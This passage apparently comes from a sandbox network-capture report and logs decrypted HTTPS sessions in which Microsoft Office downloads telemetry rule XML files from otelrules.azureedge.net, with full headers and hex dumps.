2024-11-17 00:38:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 61 2b 52 38 32 32 34 52 6b 71 44 67 4d 6c 2f 4f 65 33 51 6f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ta+R8224RkqDgMl/Oe3QoQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003831Z-1866b5c5fbbbdsw4hC1DFWh1a000000000e00000000023rp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003831Z-16547b76f7fbkfmzhC1DFWm9tw0000000380000000004pzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:32 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003832Z-164f84587bfdfkt7hC1DFW4fas00000001gg00000000eu8k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:32 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:32 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:32 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003832Z-16547b76f7fffb7lhC1DFWdsxg00000003s0000000009r2z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:32 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:32 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:32 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003832Z-164f84587bfdt5l2hC1DFW88gs00000001tg00000000g5wf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:32 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:32 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:32 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003832Z-16547b76f7fr5rfnhC1DFW0am400000000zg00000000efyd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:32 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003832Z-1866b5c5fbblmqrkhC1DFWf9ns00000001m000000000f58h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003832Z-16547b76f7fwm7vghC1DFW900s000000017g000000001ka7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: cc141125-801e-0067-1cd2-37fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003833Z-16547b76f7f2b5qzhC1DFWeag400000001sg000000009grq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 9b66de24-701e-0098-7086-36395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003833Z-164f84587bfmxxfphC1DFW3au800000001zg00000000c2xq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003833Z-16547b76f7fzwxm2hC1DFWt5hw000000014000000000d9ex x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:33 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:33 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003833Z-16547b76f7fkz9l7hC1DFW35uc00000000p0000000008rfk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
